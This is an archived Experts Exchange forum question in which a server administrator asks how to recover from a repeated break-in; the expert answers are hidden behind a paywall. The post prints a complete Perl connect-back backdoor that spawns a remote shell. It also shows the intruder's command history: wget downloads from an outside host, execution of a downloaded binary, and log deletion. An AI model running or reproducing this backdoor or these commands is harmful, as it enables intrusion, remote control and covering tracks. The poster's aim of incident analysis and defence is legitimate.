Advertisement

01.27.2005 at 11:54AM PST, ID: 21291502
[x]
Attachment Details
[x]
The Solution Rating System

With so many solutions, how can you tell which solutions are most likely to help you and which ones are not? To provide you with a tool to use, we rate our solutions based on various elements that most accurately determine if a solution is a quality solution. To explain what factors affect the solution rating, here are the elements we take into consideration when formulating our solution rating.

  • The Grade of the Solution
  • The Zone Rank of the Expert Providing the Solution
  • The Number of Author and Expert Comments
  • The Number of Experts Contributing
  • The Feedback of the Community

Your Input Matters
Because of the way the system is set up, the most important variable in this equation is you. As a member of Experts Exchange, you are able to cast your vote on the quality of the solutions in regard to how complete, accurate, helpful and easy to understand each solution is. When you provide your feedback, each rating is adjusted accordingly. So, if you see a solution that has a poor rating that you think is a good solution, let us know by rating it. As you do, the rating will be adjusted and will become more accurate for other members of our site.

If you have any suggestions that you would like to make for our rating system, please ask a question in the Suggestions Zone of Community Support.

Thank you!

7.6

My server has been hacked again

Asked by rcinformatica in Linux Network Security

Tags: , ,

Hi there,
I had my server hacked , I found this script that was run as root:

#!/usr/bin/perl

# Data Cha0s Perl Connect Back Backdoor
# Unpublished/Unreleased Source Code

use Socket;

print "Data Cha0s Connect Back Backdoor\n\n";

if (!$ARGV[0]) {
  printf "Usage: $0 [Host] <Port>\n";
  exit(1);
}

print "[*] Dumping Arguments\n";

$host = $ARGV[0];
$port = 80;

if ($ARGV[1]) {
  $port = $ARGV[1];
}

print "[*] Connecting...\n";

$proto = getprotobyname('tcp') || die("[-] Unknown Protocol\n");

socket(SERVER, PF_INET, SOCK_STREAM, $proto) || die ("[-] Socket Error\n");

my $target = inet_aton($host);

if (!connect(SERVER, pack "SnA4x8", 2, $port, $target)) {
  die("[-] Unable to Connect\n");
}

print "[*] Spawning Shell\n";

if (!fork( )) {
  open(STDIN,">&SERVER");
  open(STDOUT,">&SERVER");
  open(STDERR,">&SERVER");

  exec {'/bin/sh'} '-bash' . "\0" x 4;
  exit(0);
}

print "[*] Detached\n\n";

and some other files like ion, mremap_pte which are binaries, I was able to get the IP of the hacker but looking at www.ripe.net did not give me any info.

I believe the hacker got in through httpd, and was able to copy and make executable the files in tmp directory, do you think is there a way that I could stop all this, sure I will reinstall the red hat 9 operting system with all the patches but I hae done before with no luck

I found the last command executed by the hacker:

cat /etc/*version*
cat /etc/issue
w
exit
 cat /etc/issue
id
cd /tmp
wget el33tbr.port5.com/a/index.html
wget el33tbr.port5.com/ion
chmod 777 ion
./ion index.html
w
rm -rf /var/tmp/logs/*.*

thanks for your timeStart Free Trial
[+][-]01.27.2005 at 03:45PM PST, ID: 13158529

View this solution now by starting your 7-day free trial. Setting up your free trial is quick, easy, and secure. We will return you to this solution, unlocked, when you're done.

 

About this solution

Zone: Linux Network Security
Tags: cha0s, back, connect
Sign Up Now!
Solution Provided By: wesly_chen
Participating Experts: 2
Solution Grade: B
 
 
[+][-]01.27.2005 at 03:51PM PST, ID: 13158566

At Experts Exchange, members can ask their questions to thousands of technology professionals, also known as Experts. Experts compete and collaborate to answer those questions by leaving comments like this one.

Start your 7-day free trial to view this Expert Comment or ask the Experts your question.

 
 
Loading Advertisement...
20080716-EE-VQP-32